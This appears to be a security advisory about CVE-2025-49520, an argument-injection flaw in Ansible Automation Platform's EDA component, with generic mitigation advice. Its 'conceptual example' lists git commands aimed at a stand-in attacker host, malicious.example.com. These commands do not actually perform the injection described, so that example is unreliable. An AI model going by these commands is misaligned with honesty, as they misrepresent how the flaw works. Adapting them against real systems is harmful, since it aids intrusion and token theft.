Overview
The Common Vulnerabilities and Exposures (CVE) system has identified a severe flaw in Ansible Automation Platform’s EDA component, tagged as CVE-2025-49520. This vulnerability potentially affects any organization or individual utilizing Ansible’s EDA component in their software infrastructure, particularly in Kubernetes/OpenShift environments. The matter is of high concern because it allows authenticated attackers to execute arbitrary commands on the EDA worker, potentially leading to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-49520
Severity: High (8.8)
Attack Vector: Network
Privileges Required: High
User Interaction: Required
Impact: System compromise and potential data leakage.
Affected Products
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Product | Affected Versions
Ansible Automation Platform | All versions before the patch
How the Exploit Works
The vulnerability exists due to improper sanitization of user-supplied Git URLs which are passed unsanitized to the git ls-remote command in Ansible’s EDA component. An authenticated attacker can inject arguments into this command and execute arbitrary commands on the EDA worker. If this occurs within a Kubernetes/OpenShift environment, it may result in service account token theft, and the attacker can gain access to the cluster.
Conceptual Example Code
Below is a conceptual example of how an attacker might exploit this vulnerability:
# Attacker controls the Git repository
git clone http://malicious.example.com/repo.git
# Attacker pushes maliciously crafted repo to Ansible Automation Platform
git push ansible http://malicious.example.com/repo.git
# The maliciously crafted URL triggers the vulnerability in git ls-remote command
# leading to arbitrary command execution on the EDA workerMitigation Guidance
To mitigate this vulnerability, apply the vendor patch immediately as soon as it is available. Until the patch is available or can be applied, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as a temporary mitigation measure. Regularly review and monitor system logs for any unusual or suspicious activity. Ensure that the principle of least privilege is followed, and only necessary permissions are granted.